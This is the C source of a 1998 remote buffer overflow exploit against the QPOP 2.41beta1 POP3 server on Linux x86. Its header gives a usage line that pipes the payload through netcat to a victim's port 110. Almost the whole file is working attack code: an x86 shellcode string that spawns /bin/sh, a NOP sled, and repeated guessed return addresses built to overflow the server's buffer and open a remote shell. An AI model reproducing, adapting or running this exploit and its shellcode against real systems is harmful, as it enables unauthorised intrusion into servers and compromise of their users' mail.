/* 
 *  QPOP 2.41beta1 exploit (linux x86) by mastoras
 *  Some code ripped from "mount" exploit by Bloodmask and Vio
 *  Assembly code changed so it is not affected by tolower() function.
 *
 *  this one sucks (too), but works :>
 *  (./qpop 997 4000; cat) | nc your_victim 110
 *
 *  28 Jun 1998 
 *  mastoras@hack.gr         http://www.hack.gr/users/mastoras
 *  Mastoras Wins! Fatality!
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define DEFAULT_OFFSET 4000

u_long get_esp()
{
	__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
	u_char execshell[] =
	"\xeb\x26\x5e\x8d\x1e\x89\x5e\x1b\x31\xed\x89\x6e\x17\x89\x6e\x1f"
	"\xb8\x1b\x76\x34\x12\x35\x10\x76\x34\x12\x8d\x6e\x1b\x89\xe9\x89"
	"\xea\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd5\xff\xff\xff"
	"/////////////////bin/sh";

	unsigned long *addr_ptr = NULL;
	unsigned int ret_address;
	char *buff = NULL;
	char *ptr = NULL;
	int BUFFER_SIZE = 997;
	int ofs = DEFAULT_OFFSET;
	int nops = (300/4);
	int i;

	if (argc>1) BUFFER_SIZE = atoi(argv[1]);
	if (argc>2) ofs = atoi(argv[2]);

	buff = malloc(4096);
	if(!buff) {
		printf("can't allocate memory\n");
		exit(0);
	}
	ptr = buff; 

	/* fill start of buffer with nops */

	memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
	ptr += BUFFER_SIZE-strlen(execshell);

	/* stick asm code into the buffer */
	
	for(i=0;i < strlen(execshell);i++)
	*(ptr++) = execshell[i];

	addr_ptr = (long *)ptr;

	ret_address = get_esp() - ofs;

	for(i=0;i < (nops);i++)
		*(addr_ptr++) = ret_address;

	ptr = (char *)addr_ptr;
	*ptr = 0;

	fprintf(stderr, "length %d+%d+%d=%d, address=%x\n", BUFFER_SIZE,strlen(execshell),nops,
		BUFFER_SIZE+strlen(execshell)+nops, ret_address);

	printf("%s\n",buff);
	return 0;
}


